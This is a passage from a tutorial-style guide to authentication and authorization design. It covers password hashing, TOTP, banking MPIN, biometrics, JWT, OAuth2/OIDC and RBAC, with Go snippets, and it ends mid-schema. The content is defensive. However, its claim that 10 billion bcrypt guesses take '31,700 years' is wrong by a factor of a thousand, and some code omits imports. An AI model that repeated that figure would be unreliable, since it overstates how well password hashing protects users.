Authentication & Authorization: From Passwords to Biometrics

A Complete System Design Deep Dive for Production Systems

When a user taps "Login" on your banking app, what happens in the next 500 milliseconds determines whether their money stays secure or becomes vulnerable. This guide examines authentication and authorization at the systems level—how they work, why they fail, and how to build them correctly.

Chapter 1: Fundamentals

What is Authentication?

Authentication (AuthN) answers: "Who are you?"
It's the process of verifying identity. When you enter your password, scan your fingerprint, or insert your smart card, you're proving you are who you claim to be.
Authentication Flow: ───────────────────────────────────────────────────────────────── User Claims: "I am alice@company.com" System Challenges: "Prove it" User Provides: Password / OTP / Biometric / Certificate System Verifies: Compare with stored credential ├── Match → Identity Confirmed ✓ └── No Match → Access Denied ✗

What is Authorization?

Authorization (AuthZ) answers: "What can you do?"
After knowing who you are, the system determines what you're allowed to access. A bank teller can view account balances but cannot modify interest rates—that requires manager authorization.
Authorization Flow: ───────────────────────────────────────────────────────────────── Authenticated User: alice@company.com (Identity confirmed) Requests Action: "DELETE /api/users/123" System Checks: Does Alice have permission to delete users? ├── Allowed → Execute Action ✓ └── Denied → Return 403 Forbidden ✗

AuthN vs AuthZ: The Critical Difference

┌─────────────────────────────────────────────────────────────────┐ │ AUTHENTICATION (AuthN) │ AUTHORIZATION (AuthZ) │ ├──────────────────────────────────┼──────────────────────────────┤ │ Verifies identity │ Grants permissions │ │ Happens first │ Happens after AuthN │ │ "Who are you?" │ "What can you do?" │ │ Returns: User identity │ Returns: Allow/Deny │ │ 401 Unauthorized on failure │ 403 Forbidden on failure │ │ Credentials-based │ Policy-based │ │ Example: Login │ Example: Access control │ └──────────────────────────────────┴──────────────────────────────┘

Trust Boundaries

A trust boundary is where the level of trust changes. Every time data crosses a trust boundary, it must be validated.
Trust Boundary Architecture: ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ UNTRUSTED ZONE │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Internet / Public Network │ │ │ │ • User browsers │ │ │ │ • Mobile apps │ │ │ │ • Third-party integrations │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ ══════════╪══════════ TRUST BOUNDARY 1 │ │ │ (API Gateway) │ │ ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ DMZ (Semi-trusted) │ │ │ │ • API Gateway │ │ │ │ • Load Balancer │ │ │ │ • WAF │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ ══════════╪══════════ TRUST BOUNDARY 2 │ │ │ (Internal Network) │ │ ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ TRUSTED ZONE │ │ │ │ • Application servers │ │ │ │ • Databases │ │ │ │ • Internal services │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ ══════════╪══════════ TRUST BOUNDARY 3 │ │ │ (Highly Sensitive) │ │ ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ HIGHLY TRUSTED ZONE │ │ │ │ • HSM (Hardware Security Module) │ │ │ │ • Key Management │ │ │ │ • Cryptographic operations │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ Every boundary crossing requires: • Authentication • Input validation • Encryption in transit • Audit logging

Chapter 2: Authentication Methods

2.1 Password-Based Authentication

The oldest and still most common method. Also the most attacked.

Password Hashing

Never store passwords in plaintext. Hash them with a slow, memory-hard algorithm.
Password Storage Flow: ───────────────────────────────────────────────────────────────── Registration: User Password: "MyP@ssw0rd123" Generate Salt: "x7Kp9mNq2Lw" (random, unique per user) Hash Function: bcrypt(password + salt, cost=12) Stored in DB: "$2b$12$x7Kp9mNq2LwQrStUvWxYz.HashedOutputHere" └── Contains: Algorithm + Cost + Salt + Hash Verification: User enters: "MyP@ssw0rd123" Retrieve stored hash from DB Extract salt from stored hash Compute: bcrypt(input + extracted_salt, cost=12) Compare computed hash with stored hash ├── Match → Login success └── No match → Login failed

Hashing Algorithms Comparison

┌─────────────────────────────────────────────────────────────────┐ │ Algorithm │ Memory │ Time │ Use Case │ ├──────────────┼────────────┼───────────┼────────────────────────┤ │ MD5 │ Minimal │ ~1μs │ NEVER for passwords │ │ SHA-256 │ Minimal │ ~2μs │ NOT for passwords │ │ bcrypt │ 4KB │ ~100ms │ Passwords ✓ │ │ scrypt │ 16MB+ │ ~100ms │ Passwords ✓ │ │ Argon2id │ 64MB+ │ ~100ms │ Best for passwords ✓ │ └─────────────────────────────────────────────────────────────────┘ Why slow is good: - Attacker trying 10 billion passwords - SHA-256: 10B × 2μs = 5.5 hours to crack - bcrypt: 10B × 100ms = 31,700 YEARS to crack

Implementation Example (Go)

go
import "golang.org/x/crypto/bcrypt" // Hash password during registration func HashPassword(password string) (string, error) { // Cost 12 = 2^12 iterations = ~250ms on modern hardware bytes, err := bcrypt.GenerateFromPassword([]byte(password), 12) return string(bytes), err } // Verify password during login func CheckPassword(password, hash string) bool { err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) return err == nil } // Argon2id (recommended for new systems) import "golang.org/x/crypto/argon2" func HashPasswordArgon2(password string) (string, error) { salt := make([]byte, 16) rand.Read(salt) // Parameters: time=1, memory=64MB, threads=4, keyLen=32 hash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32) // Encode salt and hash together return encodeHash(salt, hash), nil }

Password Attack Vectors

Common Password Attacks: ───────────────────────────────────────────────────────────────── 1. BRUTE FORCE Attack: Try all combinations (a, b, c, ..., aa, ab, ...) Mitigation: - Strong password requirements (length > complexity) - Account lockout after N failures - CAPTCHA after failures - Rate limiting 2. DICTIONARY ATTACK Attack: Try common passwords (password123, qwerty, ...) Mitigation: - Check against known breached passwords (HaveIBeenPwned) - Enforce password complexity - User education 3. CREDENTIAL STUFFING Attack: Use leaked credentials from other breaches Mitigation: - Monitor for breached credentials - Require 2FA - Detect unusual login patterns 4. PASSWORD SPRAYING Attack: Try few common passwords across many accounts Mitigation: - Detect distributed login attempts - Global rate limiting (not just per-user) - Monitor IP reputation 5. RAINBOW TABLE Attack: Pre-computed hash lookup tables Mitigation: - ALWAYS use unique salts - Use memory-hard algorithms (Argon2)

2.2 OTP-Based Authentication

One-Time Passwords add a second factor—something you have (your phone).

SMS OTP

SMS OTP Flow: ───────────────────────────────────────────────────────────────── User Server SMS Gateway │ │ │ │ Login + Password │ │ │──────────────────────►│ │ │ │ │ │ │ Generate OTP: 847293 │ │ │ Store: hash(847293) │ │ │ TTL: 5 minutes │ │ │ │ │ │ Send SMS Request │ │ │─────────────────────────►│ │ │ │ │ SMS: "Your OTP │ │ │ is 847293" │◄─────────────────────────│ │◄──────────────────────│ │ │ │ │ │ Submit OTP: 847293 │ │ │──────────────────────►│ │ │ │ Verify: │ │ │ - Check TTL │ │ │ - Compare hash │ │ │ - Increment attempt │ │ │ - Delete after use │ │ │ │ │ Login Success │ │ │◄──────────────────────│ │ SMS OTP Risks: • SIM swapping attacks • SS7 network vulnerabilities • Interception via malware • Social engineering at carrier • Delivery delays Mitigations: • Use as second factor only, not sole authentication • Implement OTP rate limiting • Short expiry (2-5 minutes) • Single use enforcement • Notify user of OTP requests

TOTP (Time-Based OTP)

TOTP (Google Authenticator) Flow: ───────────────────────────────────────────────────────────────── Setup Phase: ┌─────────────────────────────────────────────────────────────────┐ │ 1. Server generates secret key: "JBSWY3DPEHPK3PXP" │ │ 2. Server stores secret (encrypted) with user account │ │ 3. Server generates QR code containing: │ │ otpauth://totp/MyApp:user@email.com?secret=JBSWY3DPEHPK3PXP│ │ 4. User scans QR with authenticator app │ │ 5. App stores secret locally │ └─────────────────────────────────────────────────────────────────┘ Verification Phase: ┌─────────────────────────────────────────────────────────────────┐ │ │ │ User's Phone Server │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Current time: │ │ Current time: │ │ │ │ 1704067200 │ │ 1704067200 │ │ │ │ │ │ │ │ │ │ Secret: │ │ Secret: │ │ │ │ JBSWY3DPEHPK... │ │ JBSWY3DPEHPK... │ │ │ │ │ │ │ │ │ │ TOTP = HMAC-SHA1│ │ TOTP = HMAC-SHA1│ │ │ │ (secret, │ │ (secret, │ │ │ │ time/30) │ │ time/30) │ │ │ │ │ │ │ │ │ │ Display: 847293 │ │ Expected: 847293│ │ │ └────────┬────────┘ └────────┬────────┘ │ │ │ │ │ │ │ User enters: 847293 │ │ │ └─────────────────────────────────►│ │ │ │ │ │ Compare → Match ✓ │ │ │ └─────────────────────────────────────────────────────────────────┘ TOTP Algorithm: counter = floor(current_unix_time / 30) // 30-second window hmac = HMAC-SHA1(secret, counter) offset = hmac[19] & 0x0F code = (hmac[offset:offset+4] & 0x7FFFFFFF) % 1000000 Server accepts codes from: - Current window (time/30) - Previous window (time/30 - 1) // Clock drift tolerance - Next window (time/30 + 1) // Clock drift tolerance

TOTP Implementation

go
import ( "crypto/hmac" "crypto/sha1" "encoding/binary" "time" ) func GenerateTOTP(secret []byte, timestamp time.Time) string { // 30-second time step counter := uint64(timestamp.Unix() / 30) // Convert counter to bytes (big-endian) counterBytes := make([]byte, 8) binary.BigEndian.PutUint64(counterBytes, counter) // HMAC-SHA1 h := hmac.New(sha1.New, secret) h.Write(counterBytes) hash := h.Sum(nil) // Dynamic truncation offset := hash[19] & 0x0F code := binary.BigEndian.Uint32(hash[offset:offset+4]) & 0x7FFFFFFF code = code % 1000000 return fmt.Sprintf("%06d", code) } func VerifyTOTP(secret []byte, code string) bool { now := time.Now() // Check current, previous, and next window for _, offset := range []int64{-30, 0, 30} { checkTime := now.Add(time.Duration(offset) * time.Second) expected := GenerateTOTP(secret, checkTime) if subtle.ConstantTimeCompare([]byte(code), []byte(expected)) == 1 { return true } } return false }

2.3 MPIN (Banking Context)

Mobile PIN is common in banking apps. It's simpler than passwords but requires careful implementation.
MPIN Architecture: ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ DEVICE │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ Secure Enclave / TEE / Keystore │ │ │ │ ┌───────────────────────────────────────────────────┐ │ │ │ │ │ Device Private Key │ │ │ │ │ │ (Never leaves enclave) │ │ │ │ │ └───────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ MPIN Entry: │ │ │ │ User enters: 1234 │ │ │ │ │ │ │ │ Client computes: │ │ │ │ challenge_response = Sign( │ │ │ │ server_challenge + MPIN_hash, │ │ │ │ device_private_key │ │ │ │ ) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────┐ │ SERVER │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ Verification: │ │ 1. Retrieve user's device public key │ │ 2. Retrieve user's MPIN hash │ │ 3. Verify signature using device public key │ │ 4. If valid → authenticated │ │ │ │ Storage: │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ user_id │ device_id │ device_public_key │ mpin_hash │ │ │ │ 12345 │ dev_abc │ RSA-2048... │ argon2(...) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ MPIN Security Considerations: ───────────────────────────────────────────────────────────────── 1. DEVICE BINDING - MPIN only works on registered device - Device public key tied to user account - New device = re-registration required 2. RATE LIMITING - 3 attempts → temporary lock (30 seconds) - 5 attempts → extended lock (5 minutes) - 10 attempts → account lock (manual unlock) 3. OFFLINE vs ONLINE VALIDATION Online (Preferred): - Every attempt verified by server - Real-time rate limiting - Immediate fraud detection Offline (Limited Use): - Local verification for specific scenarios - Encrypted MPIN hash stored on device - Risk: Device compromise = MPIN compromise - Use only for low-risk operations 4. MPIN CHANGE - Require current MPIN or step-up auth - Notify user via SMS/email - Log for audit

2.4 Biometric Authentication

Biometrics use physical characteristics. They're convenient but come with unique challenges.
Biometric System Architecture: ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ BIOMETRIC FLOW │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ENROLLMENT: │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 1. Capture biometric (fingerprint scan) │ │ │ │ 2. Extract features (minutiae points) │ │ │ │ 3. Generate template (mathematical representation) │ │ │ │ 4. Store template in secure enclave │ │ │ │ │ │ │ │ Template ≠ Actual fingerprint │ │ │ │ (Cannot reconstruct fingerprint from template) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ VERIFICATION: │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 1. Capture fresh biometric │ │ │ │ 2. Extract features │ │ │ │ 3. Compare with stored template │ │ │ │ 4. Similarity score > threshold → match │ │ │ │ │ │ │ │ Note: Never 100% match (biological variation) │ │ │ │ Typical threshold: 95% similarity │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ Biometric Types: ───────────────────────────────────────────────────────────────── ┌─────────────────┬────────────┬────────────┬─────────────────────┐ │ Type │ FAR* │ FRR** │ Considerations │ ├─────────────────┼────────────┼────────────┼─────────────────────┤ │ Fingerprint │ 0.001% │ 0.1% │ Dirt, cuts affect │ │ Face ID │ 0.0001% │ 0.05% │ Twins, photos │ │ Iris │ 0.0001% │ 0.2% │ Glasses, lighting │ │ Voice │ 0.1% │ 0.5% │ Background noise │ │ Behavioral │ 1-5% │ 2-5% │ Less accurate │ └─────────────────┴────────────┴────────────┴─────────────────────┘ *FAR: False Acceptance Rate (letting wrong person in) **FRR: False Rejection Rate (rejecting right person) WHERE BIOMETRIC TEMPLATES ARE STORED: ───────────────────────────────────────────────────────────────── OPTION 1: Device Only (Recommended) ┌─────────────────────────────────────────────────────────────────┐ │ Template stored in Secure Enclave (iOS) / TEE (Android) │ │ • Never leaves device │ │ • Never transmitted to server │ │ • Compromise = single device │ │ │ │ Server stores: │ │ • Device ID │ │ • Public key (for device attestation) │ │ • Biometric enrollment flag │ │ │ │ Authentication flow: │ │ 1. Server sends challenge │ │ 2. Device prompts biometric │ │ 3. If biometric matches locally → sign challenge with key │ │ 4. Server verifies signature │ └─────────────────────────────────────────────────────────────────┘ OPTION 2: Server Storage (Higher Risk) ┌─────────────────────────────────────────────────────────────────┐ │ Template encrypted and stored on server │ │ • Enables cross-device biometrics │ │ • Higher risk: breach = all templates compromised │ │ • Requires HSM for template encryption │ │ • Regulatory concerns (GDPR, etc.) │ └─────────────────────────────────────────────────────────────────┘ BIOMETRICS ARE NOT PASSWORDS: ───────────────────────────────────────────────────────────────── Key Differences: ┌─────────────────────────────────────────────────────────────────┐ │ Property │ Password │ Biometric │ ├─────────────────────┼─────────────────┼────────────────────────┤ │ Can be changed │ Yes ✓ │ No ✗ (you have one) │ │ Can be shared │ Yes │ No │ │ Can be guessed │ Yes │ No │ │ Can be stolen │ Yes (breach) │ Yes (photo, mold) │ │ Revocable │ Yes ✓ │ No ✗ (permanent) │ │ User knows if │ Yes │ No (unconscious use) │ │ compromised │ │ │ └─────────────────────────────────────────────────────────────────┘ The Revocation Problem: • If password compromised → change password • If fingerprint compromised → you can't get new fingerprints • Biometrics should be used as ONE factor, not sole factor • Combined with device binding mitigates risk

2.5 Device Binding

Device binding ties authentication to a specific physical device.
Device Binding Architecture: ───────────────────────────────────────────────────────────────── DEVICE REGISTRATION: ┌─────────────────────────────────────────────────────────────────┐ │ │ │ DEVICE SERVER │ │ ┌──────────────────┐ ┌──────────────────┐ │ │ │ Generate Key Pair│ │ │ │ │ │ in Secure Enclave│ │ │ │ │ │ │ │ │ │ │ │ Private Key: │ │ │ │ │ │ (stays in enclave)│ │ │ │ │ │ │ │ │ │ │ │ Public Key: │ Register │ Store: │ │ │ │ ─────────────────│───────────────►│ • Public Key │ │ │ │ │ │ • Device ID │ │ │ │ Device ID: │ │ • User binding │ │ │ │ (hardware-based) │ │ • Timestamp │ │ │ └──────────────────┘ └──────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ DEVICE-BOUND AUTHENTICATION: ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. Server → Device: challenge = random_nonce │ │ │ │ 2. Device computes: │ │ signature = Sign(challenge, device_private_key) │ │ (Requires biometric/PIN to access key) │ │ │ │ 3. Device → Server: {signature, device_id, public_key_id} │ │ │ │ 4. Server verifies: │ │ • Lookup public key by device_id │ │ • Verify(signature, challenge, public_key) │ │ • If valid → device is authentic │ │ │ └─────────────────────────────────────────────────────────────────┘ DEVICE FINGERPRINTING (Secondary Signal): ┌─────────────────────────────────────────────────────────────────┐ │ Collected attributes: │ │ • Screen resolution │ │ • Installed fonts │ │ • Browser plugins │ │ • Timezone │ │ • Hardware concurrency │ │ • WebGL renderer │ │ │ │ Combined into hash: fingerprint_id │ │ │ │ Use: Anomaly detection │ │ • Same account, different fingerprint → suspicious │ │ • Trigger step-up authentication │ │ │ │ Limitation: Not cryptographically secure │ │ • Can be spoofed │ │ • Should not be sole factor │ └─────────────────────────────────────────────────────────────────┘

Chapter 3: JWT & Token-Based Authentication

JWT Structure

JSON Web Tokens are the standard for stateless authentication.
JWT Structure: ───────────────────────────────────────────────────────────────── eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NSIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcxMjM0NTY3OH0. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c │ │ │ ▼ ▼ ▼ ┌──────────┐ ┌──────────────┐ ┌───────────┐ │ HEADER │ │ PAYLOAD │ │ SIGNATURE │ │ (Base64) │ │ (Base64) │ │ (Base64) │ └──────────┘ └──────────────┘ └───────────┘ HEADER (Decoded): { "alg": "RS256", // Signing algorithm "typ": "JWT", // Token type "kid": "key-123" // Key ID (for key rotation) } PAYLOAD (Decoded): { "sub": "12345", // Subject (user ID) "role": "admin", // Custom claim "exp": 1712345678, // Expiration timestamp "iat": 1712342078, // Issued at "iss": "auth.myapp.com", // Issuer "aud": "api.myapp.com", // Audience "jti": "unique-token-id" // JWT ID (for revocation) } SIGNATURE: RS256_Sign( base64url(header) + "." + base64url(payload), private_key )

HMAC vs RSA Signing

Signing Algorithm Comparison: ───────────────────────────────────────────────────────────────── HMAC (HS256): ┌─────────────────────────────────────────────────────────────────┐ │ Symmetric: Same key for signing AND verification │ │ │ │ Signing: │ │ signature = HMAC-SHA256(header.payload, secret_key) │ │ │ │ Verification: │ │ expected = HMAC-SHA256(header.payload, secret_key) │ │ valid = (signature == expected) │ │ │ │ Pros: │ │ • Faster (symmetric crypto) │ │ • Simpler key management │ │ │ │ Cons: │ │ • Secret must be shared with all verifiers │ │ • Can't have public verification │ │ │ │ Use when: Single service or tightly coupled services │ └─────────────────────────────────────────────────────────────────┘ RSA (RS256): ┌─────────────────────────────────────────────────────────────────┐ │ Asymmetric: Private key signs, Public key verifies │ │ │ │ Signing (Auth Server): │ │ signature = RSA_Sign(header.payload, private_key) │ │ │ │ Verification (Any Service): │ │ valid = RSA_Verify(header.payload, signature, public_key) │ │ │ │ Pros: │ │ • Public key can be distributed freely │ │ • Services can verify without secret │ │ • Auth server doesn't share signing capability │ │ │ │ Cons: │ │ • Slower (asymmetric crypto) │ │ • Larger signatures │ │ │ │ Use when: Microservices, third-party verification needed │ └─────────────────────────────────────────────────────────────────┘ Recommendation for Production: • Use RS256 or ES256 (ECDSA) for microservices • Use HS256 only for single-service apps • NEVER use "none" algorithm • ALWAYS validate "alg" header

Access Token vs Refresh Token

Token Strategy: ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ TOKEN LIFECYCLE │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ACCESS TOKEN REFRESH TOKEN │ │ ┌────────────────────┐ ┌────────────────────┐ │ │ │ Purpose: API access │ │ Purpose: Get new │ │ │ │ │ │ access tokens │ │ │ │ Lifespan: 15 min │ │ Lifespan: 7 days │ │ │ │ │ │ │ │ │ │ Storage: Memory │ │ Storage: Secure │ │ │ │ (JS variable) │ │ HTTP-only cookie │ │ │ │ │ │ │ │ │ │ Sent: Every API call│ │ Sent: Only to │ │ │ │ in Authorization │ │ /token/refresh │ │ │ │ header │ │ endpoint │ │ │ └────────────────────┘ └────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ Token Flow: ───────────────────────────────────────────────────────────────── Client Auth Server API Server │ │ │ │ 1. Login (credentials) │ │ │─────────────────────────►│ │ │ │ │ │ 2. Access + Refresh │ │ │◄─────────────────────────│ │ │ │ │ │ 3. API call (access token in header) │ │────────────────────────────────────────────────────►│ │ │ │ │ 4. Response │ │ │◄────────────────────────────────────────────────────│ │ │ │ │ ... 15 minutes later, access token expires ... │ │ │ │ │ 5. API call (expired) │ │ │────────────────────────────────────────────────────►│ │ │ │ │ 6. 401 Unauthorized │ │ │◄────────────────────────────────────────────────────│ │ │ │ │ 7. Refresh (refresh token) │ │─────────────────────────►│ │ │ │ │ │ 8. New Access Token │ │ │◄─────────────────────────│ │ │ │ │ │ 9. Retry API call │ │ │────────────────────────────────────────────────────►│

JWT Revocation Challenges

The Stateless Revocation Problem: ───────────────────────────────────────────────────────────────── JWT is stateless → Server doesn't track active tokens Problem: How to revoke a token before expiry? SOLUTIONS: 1. SHORT EXPIRY (Recommended) ┌─────────────────────────────────────────────────────────────────┐ │ Access token: 15 minutes │ │ Even if stolen, limited exposure window │ │ Refresh tokens can be revoked server-side │ └─────────────────────────────────────────────────────────────────┘ 2. TOKEN BLOCKLIST ┌─────────────────────────────────────────────────────────────────┐ │ Store revoked token IDs in Redis │ │ Check blocklist on every request │ │ │ │ Redis key: blocklist:{jti} │ │ TTL: token's remaining lifetime │ │ │ │ Con: Adds state, partially defeats stateless benefit │ └─────────────────────────────────────────────────────────────────┘ 3. TOKEN VERSIONING ┌─────────────────────────────────────────────────────────────────┐ │ Store token_version per user in database │ │ Include version in JWT │ │ On revocation: increment user's token_version │ │ Validation: check JWT version >= stored version │ │ │ │ Pro: Revokes ALL user tokens at once │ │ Con: Requires DB lookup │ └─────────────────────────────────────────────────────────────────┘ 4. REFRESH TOKEN ROTATION ┌─────────────────────────────────────────────────────────────────┐ │ Each refresh issues new refresh token │ │ Old refresh token invalidated │ │ If old token used → revoke all (theft detected) │ │ │ │ Implementation: │ │ refresh_tokens table: │ │ │ id │ user_id │ token_hash │ family_id │ used │ expires │ │ │ │ │ On refresh: │ │ 1. Mark current token as used │ │ 2. If already used → revoke entire family (breach) │ │ 3. Issue new token in same family │ └─────────────────────────────────────────────────────────────────┘

JWT Implementation

go
import ( "github.com/golang-jwt/jwt/v5" "time" ) type Claims struct { UserID string `json:"sub"` Role string `json:"role"` DeviceID string `json:"did"` jwt.RegisteredClaims } func GenerateAccessToken(userID, role, deviceID string, privateKey *rsa.PrivateKey) (string, error) { claims := Claims{ UserID: userID, Role: role, DeviceID: deviceID, RegisteredClaims: jwt.RegisteredClaims{ Issuer: "auth.myapp.com", Audience: jwt.ClaimStrings{"api.myapp.com"}, ExpiresAt: jwt.NewNumericDate(time.Now().Add(15 * time.Minute)), IssuedAt: jwt.NewNumericDate(time.Now()), ID: uuid.New().String(), // For revocation }, } token := jwt.NewWithClaims(jwt.SigningMethodRS256, claims) token.Header["kid"] = "key-2024-01" // Key ID for rotation return token.SignedString(privateKey) } func ValidateAccessToken(tokenString string, publicKey *rsa.PublicKey) (*Claims, error) { token, err := jwt.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) { // CRITICAL: Verify algorithm if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok { return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"]) } // In production: lookup key by kid return publicKey, nil }) if err != nil { return nil, err } claims, ok := token.Claims.(*Claims) if !ok || !token.Valid { return nil, errors.New("invalid token") } // Additional validations if claims.Issuer != "auth.myapp.com" { return nil, errors.New("invalid issuer") } return claims, nil }

Chapter 4: OAuth2 & OpenID Connect

OAuth2 Flows

OAuth2 Authorization Code Flow (with PKCE): ───────────────────────────────────────────────────────────────── This is the RECOMMENDED flow for web and mobile apps. User Client App Auth Server Resource Server │ │ │ │ │ 1. Click │ │ │ │ "Login" │ │ │ │───────────────►│ │ │ │ │ │ │ │ │ 2. Generate: │ │ │ │ code_verifier │ │ │ │ code_challenge │ │ │ │ = SHA256(verifier) │ │ │ │ │ │ 3. Redirect to Auth Server │ │ │◄───────────────│ │ │ │ │ │ │ 4. /authorize? │ │ │ response_type=code │ │ │ client_id=xxx │ │ │ redirect_uri=xxx │ │ │ code_challenge=xxx │ │ │ code_challenge_method=S256 │ │ │ scope=openid profile │ │ │ state=random_string │ │ │──────────────────────────────────►│ │ │ │ │ │ 5. Login page │ │ │◄──────────────────────────────────│ │ │ │ │ │ 6. Enter credentials │ │ │──────────────────────────────────►│ │ │ │ │ │ 7. Consent screen │ │ │◄──────────────────────────────────│ │ │ │ │ │ 8. Approve │ │ │──────────────────────────────────►│ │ │ │ │ │ 9. Redirect with code │ │ │ /callback?code=xyz&state=... │ │ │◄──────────────────────────────────│ │ │ │ │ │ │───────────────►│ │ │ │ │ │ │ │ │ 10. POST /token │ │ │ │ grant_type=authorization_code │ │ │ code=xyz │ │ │ │ code_verifier=original_verifier │ │ │ client_id=xxx │ │ │ │─────────────────►│ │ │ │ │ │ │ │ 11. Verify: │ │ │ │ SHA256(verifier) == challenge │ │ │ │ │ │ │ 12. Access Token + Refresh Token │ │ │◄─────────────────│ │ │ │ │ │ │ │ 13. API Request (Bearer token) │ │ │──────────────────────────────────────►│ │ │ │ │ │ │ 14. Protected Resource │ │ │◄──────────────────────────────────────│ │ │ │ │ │ 15. Data │ │ │ │◄───────────────│ │ │ Why PKCE? ───────────────────────────────────────────────────────────────── PKCE (Proof Key for Code Exchange) prevents: • Authorization code interception attacks • Replay attacks with stolen codes Without PKCE, attacker who intercepts code can exchange it. With PKCE, attacker needs code_verifier which never traveled over network.

OAuth2 Grant Types

OAuth2 Grant Types Comparison: ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ Grant Type │ Use Case │ Security │ ├──────────────────────────┼──────────────────────────┼──────────┤ │ Authorization Code │ Web/Mobile apps with │ High ✓ │ │ + PKCE │ user interaction │ │ ├──────────────────────────┼──────────────────────────┼──────────┤ │ Client Credentials │ Service-to-service │ High ✓ │ │ │ (no user involved) │ │ ├──────────────────────────┼──────────────────────────┼──────────┤ │ Refresh Token │ Extending sessions │ High ✓ │ ├──────────────────────────┼──────────────────────────┼──────────┤ │ Implicit │ DEPRECATED │ Low ✗ │ │ (token in URL) │ Don't use │ │ ├──────────────────────────┼──────────────────────────┼──────────┤ │ Password │ LEGACY ONLY │ Medium │ │ (Resource Owner) │ Avoid if possible │ │ └─────────────────────────────────────────────────────────────────┘ Client Credentials Flow (Machine-to-Machine): ───────────────────────────────────────────────────────────────── Service A Auth Server Service B │ │ │ │ POST /token │ │ │ grant_type=client_credentials │ │ client_id=service-a │ │ │ client_secret=xxx │ │ │ scope=read:users │ │ │────────────────────────────►│ │ │ │ │ │ Access Token │ │ │◄────────────────────────────│ │ │ │ │ │ API Request (Bearer token) │ │ │─────────────────────────────────────────────────────────► │ │ │ │ Response │ │ │◄─────────────────────────────────────────────────────────

OpenID Connect

OpenID Connect (OIDC): ───────────────────────────────────────────────────────────────── OIDC = OAuth2 + Identity Layer OAuth2: Authorization (access to resources) OIDC: Authentication (who is the user) Key addition: ID Token ┌─────────────────────────────────────────────────────────────────┐ │ ID Token (JWT): │ │ { │ │ "iss": "https://auth.company.com", │ │ "sub": "user-12345", // User identifier │ │ "aud": "client-app-id", // Your app │ │ "exp": 1704067200, │ │ "iat": 1704063600, │ │ "auth_time": 1704063590, // When user authenticated │ │ "nonce": "random-nonce", // Replay protection │ │ "name": "John Doe", // Profile claims │ │ "email": "john@example.com", │ │ "email_verified": true, │ │ "picture": "https://..." │ │ } │ └─────────────────────────────────────────────────────────────────┘ OIDC Scopes: • openid - Required, returns ID token • profile - name, picture, etc. • email - email, email_verified • address - postal address • phone - phone_number UserInfo Endpoint: GET /userinfo Authorization: Bearer {access_token} Response: { "sub": "user-12345", "name": "John Doe", "email": "john@example.com" }

Chapter 5: Authorization Models

RBAC (Role-Based Access Control)

RBAC Model: ───────────────────────────────────────────────────────────────── Users → Roles → Permissions ┌─────────────────────────────────────────────────────────────────┐ │ │ │ USERS ROLES PERMISSIONS │ │ ┌─────┐ ┌─────────┐ ┌──────────────────┐ │ │ │Alice│──────────►│ Admin │───────►│ users:create │ │ │ └─────┘ │ │───────►│ users:read │ │ │ │ │───────►│ users:update │ │ │ ┌─────┐ │ │───────►│ users:delete │ │ │ │ Bob │───┐ └─────────┘ │ settings:manage │ │ │ └─────┘ │ └──────────────────┘ │ │ │ ┌─────────┐ │ │ └──────►│ Editor │───────►│ posts:create │ │ │ ┌─────┐ │ │───────►│ posts:read │ │ │ │Carol│──────────►│ │───────►│ posts:update │ │ │ └─────┘ └─────────┘ └──────────────────┘ │ │ │ │ ┌─────────┐ ┌──────────────────┐ │ │ │ Viewer │───────►│ posts:read │ │ │ └─────────┘ └──────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ Database Schema: ───────────────────────────────────────────────────────────────── CREATE TABLE roles ( id UUID PRIMARY KEY, name VARCHAR(50) UNIQUE NOT NULL, description TEXT ); CREATE TABLE permissions ( id UUID PRIMARY KEY, resource VARCHAR(50) NOT NULL, action VARCHAR(50) NOT NULL, UNIQUE(resource, action) ); CREATE TABLE role_permissions ( role_id UUID REFERENCES roles(id), permission_id UUID REFERENCES permissions(id), PRIMARY KEY (role_id, permission_id) ); CREATE TABLE user_roles ( user_id UUID REFERENCES users(id), role_id UUID 